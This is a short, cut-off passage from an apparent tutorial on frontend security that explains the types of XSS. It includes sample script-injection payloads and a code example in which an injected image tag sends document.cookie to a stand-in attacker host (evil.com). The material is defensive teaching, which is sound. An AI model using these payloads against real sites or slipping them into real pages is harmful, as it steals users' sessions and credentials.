Frontend Security: A Senior Engineer's Guide

Frontend Security: A Senior Engineer's Guide Security is not optional. Understanding attack vectors and defenses is essential for any production system. 1. XSS (Cross-Site Scripting) The most common frontend vulnerability (~40% of reported vulnerabilities). Attacker injects malicious scripts into your page. Types of XSS Type How It Works Example Stored XSS Malicious script saved in DB, served to all users Comment: <script>steal(cookies)</script> Reflected XSS Script in URL, reflected in response site.com/search?q=<script>alert(1)</script> DOM-based XSS Script manipulates DOM client-side innerHTML = location.hash Attack Example // User submits this as their "name" const userName = ' <img src=x onerror="fetch( \' https://evil.com/steal?cookie= \' +document.cookie)"> ' ; // Vulnerable code document . getElementById ( ' greeting ' ). innerHTML = `Hello, ${ userName } !` ; // Result: Attacker gets all cookies! Defense: Output Encoding // NEVER use innerHTML with user data element . innerHTM